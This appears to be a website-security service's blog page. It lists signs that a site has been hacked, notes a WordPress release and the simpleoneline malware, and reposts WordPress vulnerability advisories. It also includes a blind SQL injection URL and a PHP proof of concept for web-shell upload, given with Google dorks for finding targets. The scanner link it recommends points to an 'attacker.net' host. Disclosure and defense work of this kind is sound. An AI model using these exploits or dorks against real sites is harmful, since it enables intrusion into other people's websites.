How to Tell if Your Website Has Been Hacked

How to tell if your website has been hacked?

  • Do you see any strange, unrecognized or inappropriate content on your site?
  • Your site started consuming more resources or running slow?
  • Do you see unrecognized users, admin users, FTP or email accounts on your site?
  • Unrecognized files or folders?
  • Customer reporting stolen credit card after purchasing something from your website?
  • Google Chrome, Firefox or other browsers showing a red warning when visiting your website?
  • Do you see any unrecognized ads, popups or redirects to other sites?
  • Your hosting provider suspended your hosting account?
  • If your site is listed as hacked or harmful in Google searches.
  • If you recieve a warning from Google webmaster tools or other blacklists.
  • If Google Adwords suspended your running Ads.

There are so many other signs! Signup now and let’s clean & protect your websites!

You can check your website’s security by using this free website malware scanner https://scan.attacker.net

WordPress 5.0.3 is now available!

5.0.3 is a maintenance release that includes 37 bug fixes and 7 performance updates. The focus of this release was fine-tuning the new block editor, and fixing any major bugs or regressions.

Here are a few of the highlights:

For a full list of changes, please consult the list of tickets on Trac, changelog, or read a more technical summary on the Make WordPress Core blog.

You can download WordPress 5.0.3 or visit Dashboard → Updates on your site and click Update Now. Sites that support automatic background updates have already started to update automatically.

A new wave of the simpleoneline Malware

A new wave of the https://simpleoneline[.]online/online.js malware has been discovered hitting hundreds of WordPress websites. In most cases, it’s injected in the database and particularly found in the options table.

Check if your website is infected using this free malware scanner:

https://scan.attacker.net

#malware #simpleoneline #security #hosting #malware #removal #hacked #wordpress #cpanel #joomla #drupal #magento #Security #webhosting #linux #plesk #directadmin

WordPress theme directory traversal

Directory traversal vulnerability in the Elegant Themes Divi theme for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the img parameter in a revslider_show_image action to wp-admin/admin-ajax.php.

 

 

Timeline

February 11, 2015 NVD published advisory

Authority references

Exploits

 

WordPress plug-in arbitrary code execution

Multiple cross-site scripting (XSS) vulnerabilities in the Spider Facebook plugin before 1.0.11 for WordPress allow (1) remote attackers to inject arbitrary web script or HTML via the appid parameter in a registration task to the default URI or remote administrators to inject arbitrary web script or HTML via the (2) asc_or_desc, (3) order_by, (4) page_number, (5) serch_or_not, or (6) search_events_by_title parameter in (a) the Spider_Facebook_manage page to wp-admin/admin.php or a (b) selectpagesforfacebook or (c) selectpostsforfacebook action to wp-admin/admin-ajax.php.

 

WordPress WP Realty Plugin – Blind SQL Injection

# Exploit Title: WordPress - wp-realty - MySQL Time Based Injection

# Google Dork: inurl:"/wp-content/plugins/wp-realty/"
# Vendor: http://wprealty.org/
# Date: 10/08/2013
# Exploit Author: Napsterakos
Link: http://localhost/wordpress/wp-content/plugins/wp-realty/
Exploit: http://localhost/wordpress/wp-content/plugins/wp-realty/index_ext.php?action=contact_friend&popup=yes&listing_id=[SQLi]

WordPress Plugin Complete Gallery Manager 3.3.3 – Arbitrary File Upload Vulnerability

A arbitrary file upload web vulnerability is detected in the CodeCanyon WordPress Plugin Complete Gallery Manager v3.3.3 Web-Application.

The vulnerability allows remote attackers to upload files via POST method with multiple extensions to unauthorized access them on
application-side of the service.
The vulnerability is located in the /plugins/complete-gallery-manager/frames/ path when processing to upload via the  upload-images.php
file own malicious context or webshells. After the upload the remote attacker can access the file with one extension and exchange it with the
other one to execute for example php codes.
Exploitation of the vulnerability requires no user interaction and also without privilege application user account (no password standard).
Successful exploitation of the vulnerability results in unauthorized path or file access via local file include or arbitrary file upload.
Vulnerable Application(s):
                [+] CodeCanyon - Complete Gallery Manager
Vulnerable Module(s):
                [+] Image File Upload
Vulnerable File(s):
                [+] upload-images.php
Affected Module(s):
                [+] Application Index Listing (http://localhost:8000/)
Proof of Concept:
=================
The arbitrary file upload web vulnerability can be exploited by remote attackers without user interaction or privileged application user account.
For demonstration or reproduce ...
Vuln page :
http://wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
Exploit :
<?php
$uploadfile="up.php";
$ch = curl_init("http://wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php");
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
Shell Upload Access Path : http://wordpress.localhost:8080/wp-content/2013/09/up.php
Google Dork: allinurl:/wp-content/plugins/complete-gallery-manager/
Reference(s):
http://xxx.com/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
http://www.xxx.com/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
http://xxx.org/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
Risk:
=====
The security risk of the arbitrary file upload web vulnerability is estimated as high(+).